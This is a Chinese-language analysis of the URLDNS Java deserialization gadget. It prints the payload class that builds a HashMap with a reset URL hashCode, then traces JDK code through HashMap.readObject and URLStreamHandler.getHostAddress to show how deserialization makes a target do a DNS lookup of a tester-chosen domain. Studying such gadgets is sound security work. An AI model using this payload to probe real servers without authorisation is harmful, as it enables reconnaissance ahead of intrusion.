URLDNS分析

public class URLDNS implements ObjectPayload<Object> {  
    public Object getObject(final String url) throws Exception {  
        // 避免在负载创建期间进行 DNS 解析  
        // 由于字段 <code>java.net.URL.handler</code> 是瞬态的，它将不包含在序列化的负载中。  
        URLStreamHandler handler = new SilentURLStreamHandler();  
        HashMap ht = new HashMap(); // HashMap 将包含 URL  
        URL u = new URL(null, url, handler); // 用作键的 URL  
        ht.put(u, url); // 值可以是任何可序列化的对象，使用 URL 作为键会触发 DNS 查找。  
        Reflections.setFieldValue(u, "hashCode", -1); // 在上面的 put 操作中，URL 的 hashCode 被计算并缓存。此操作重置 hashCode，以便下次调用时触发 DNS 查找。  
        return ht;  
    }  

    public static void main(final String[] args) throws Exception {  
        PayloadRunner.run(URLDNS.class, args);  
    }  

    /**  
     * <p > 这个 URLStreamHandler 的实例用于在创建 URL 实例时避免任何 DNS 解析。  
     * DNS 解析用于漏洞检测。在使用序列化对象之前，不应探测给定的 URL。</p>  
     *  
     * <b > 潜在的假阴性：</b>  
     * <p > 如果 DNS 名称首先从测试计算机解析，目标服务器在第二次解析时可能会获得缓存命中。</p>  
     */  
    static class SilentURLStreamHandler extends URLStreamHandler {  
        protected URLConnection openConnection(URL u) throws IOException {  
            return null;  
        }  

        protected synchronized InetAddress getHostAddress(URL u) {  
            return null;  
        }  
    }  
}

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();               
        int mappings = s.readInt();
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { 
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();// 此处获取 key，进入下面的 hash (key)
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);// 调用了 hash (key)
            }
        }
    }

protected int hashCode(URL u) {
        int h = 0;

        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        InetAddress addr = getHostAddress(u);//getHostAddress(u);
      
       /* 中间无关代码省略 */

        return h;
    }

protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);// 根据主机名获取 IP，即进行一次 DNS 解析
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }